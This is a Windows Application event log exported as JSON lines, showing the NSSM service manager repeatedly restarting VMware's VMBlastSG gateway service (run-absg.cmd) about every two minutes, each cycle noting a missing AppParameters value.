{"@timestamp":1646807789460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162052","162052","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165333}}
{"@timestamp":1646807789478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165334}}
{"@timestamp":1646807789479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165335}}
{"@timestamp":1646807789479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165336}}
{"@timestamp":1646807789480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165337}}
{"@timestamp":1646807917991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165338}}
{"@timestamp":1646807917992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165339}}
{"@timestamp":1646807917992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162464","0"]}}},"module":"Application","provider":"nssm","sequence":165340}}
{"@timestamp":1646807917993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162464","162464","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165341}}
{"@timestamp":1646807918011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165342}}
{"@timestamp":1646807918011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165343}}
{"@timestamp":1646807918012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165344}}
{"@timestamp":1646807918013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165345}}
{"@timestamp":1646808046487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165346}}
{"@timestamp":1646808046488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165347}}
{"@timestamp":1646808046488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160084","0"]}}},"module":"Application","provider":"nssm","sequence":165348}}
{"@timestamp":1646808046489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160084","160084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165349}}
{"@timestamp":1646808046507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165350}}
{"@timestamp":1646808046507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165351}}
{"@timestamp":1646808046508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165352}}
{"@timestamp":1646808046508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165353}}
{"@timestamp":1646808175003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165354}}
{"@timestamp":1646808175003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165355}}
{"@timestamp":1646808175004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158932","0"]}}},"module":"Application","provider":"nssm","sequence":165356}}
{"@timestamp":1646808175005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158932","158932","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165357}}
{"@timestamp":1646808175022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165358}}
{"@timestamp":1646808175023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165359}}
{"@timestamp":1646808175023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165360}}
{"@timestamp":1646808175024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165361}}
{"@timestamp":1646808303516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165362}}
{"@timestamp":1646808303516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165363}}
{"@timestamp":1646808303517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161980","0"]}}},"module":"Application","provider":"nssm","sequence":165364}}
{"@timestamp":1646808303518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161980","161980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165365}}
{"@timestamp":1646808303536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165366}}
{"@timestamp":1646808303537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165367}}
{"@timestamp":1646808303537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165368}}
{"@timestamp":1646808303538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165369}}
{"@timestamp":1646808432045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165370}}
{"@timestamp":1646808432047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165371}}
{"@timestamp":1646808432047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162644","0"]}}},"module":"Application","provider":"nssm","sequence":165372}}
{"@timestamp":1646808432048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162644","162644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165373}}
{"@timestamp":1646808432070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165374}}
{"@timestamp":1646808432071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165375}}
{"@timestamp":1646808432072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165376}}
{"@timestamp":1646808432073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165377}}
{"@timestamp":1646808560550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165378}}
{"@timestamp":1646808560551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165379}}
{"@timestamp":1646808560551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161916","0"]}}},"module":"Application","provider":"nssm","sequence":165380}}
{"@timestamp":1646808560552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161916","161916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165381}}
{"@timestamp":1646808560571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165382}}
{"@timestamp":1646808560571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165383}}
{"@timestamp":1646808560572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165384}}
{"@timestamp":1646808560573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165385}}
{"@timestamp":1646808689069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165386}}
{"@timestamp":1646808689070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165387}}
{"@timestamp":1646808689071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159876","0"]}}},"module":"Application","provider":"nssm","sequence":165388}}
{"@timestamp":1646808689071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159876","159876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165389}}
{"@timestamp":1646808689088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165390}}
{"@timestamp":1646808689089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165391}}
{"@timestamp":1646808689089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165392}}
{"@timestamp":1646808689090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165393}}
{"@timestamp":1646808817622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165394}}
{"@timestamp":1646808817624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165395}}
{"@timestamp":1646808817625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162036","0"]}}},"module":"Application","provider":"nssm","sequence":165396}}
{"@timestamp":1646808817626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162036","162036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165397}}
{"@timestamp":1646808817643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165398}}
{"@timestamp":1646808817644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165399}}
{"@timestamp":1646808817644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165400}}
{"@timestamp":1646808817645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165401}}
{"@timestamp":1646808946160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165402}}
{"@timestamp":1646808946160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165403}}
{"@timestamp":1646808946161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161620","0"]}}},"module":"Application","provider":"nssm","sequence":165404}}
{"@timestamp":1646808946161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161620","161620","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165405}}
{"@timestamp":1646808946180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165406}}
{"@timestamp":1646808946180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165407}}
{"@timestamp":1646808946181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165408}}
{"@timestamp":1646808946182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165409}}
{"@timestamp":1646809074694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165410}}
{"@timestamp":1646809074695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165411}}
{"@timestamp":1646809074695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155396","0"]}}},"module":"Application","provider":"nssm","sequence":165412}}
{"@timestamp":1646809074697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155396","155396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165413}}
{"@timestamp":1646809074715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165414}}
{"@timestamp":1646809074715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165415}}
{"@timestamp":1646809074716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165416}}
{"@timestamp":1646809074716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165417}}
{"@timestamp":1646809203190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165418}}
{"@timestamp":1646809203190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165419}}
{"@timestamp":1646809203191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161316","0"]}}},"module":"Application","provider":"nssm","sequence":165420}}
{"@timestamp":1646809203191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161316","161316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165421}}
{"@timestamp":1646809203207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165422}}
{"@timestamp":1646809203208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165423}}
{"@timestamp":1646809203208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165424}}
{"@timestamp":1646809203209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165425}}
{"@timestamp":1646809331828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165426}}
{"@timestamp":1646809331830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165427}}
{"@timestamp":1646809331830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162352","0"]}}},"module":"Application","provider":"nssm","sequence":165428}}
{"@timestamp":1646809331831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162352","162352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165429}}
{"@timestamp":1646809331847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165430}}
{"@timestamp":1646809331848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165431}}
{"@timestamp":1646809331848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165432}}
{"@timestamp":1646809331849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165433}}
{"@timestamp":1646809460471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165434}}
{"@timestamp":1646809460471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165435}}
{"@timestamp":1646809460472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162784","0"]}}},"module":"Application","provider":"nssm","sequence":165436}}
{"@timestamp":1646809460472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162784","162784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165437}}
